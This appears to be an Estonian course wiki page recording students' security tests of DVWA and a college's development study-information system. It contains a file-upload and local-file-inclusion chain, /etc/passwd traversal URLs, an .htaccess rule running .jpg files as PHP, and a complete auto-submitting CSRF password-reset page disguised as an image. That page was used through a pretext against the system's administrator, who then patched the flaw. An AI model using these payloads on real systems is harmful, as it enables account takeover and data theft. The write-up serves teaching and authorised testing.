&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
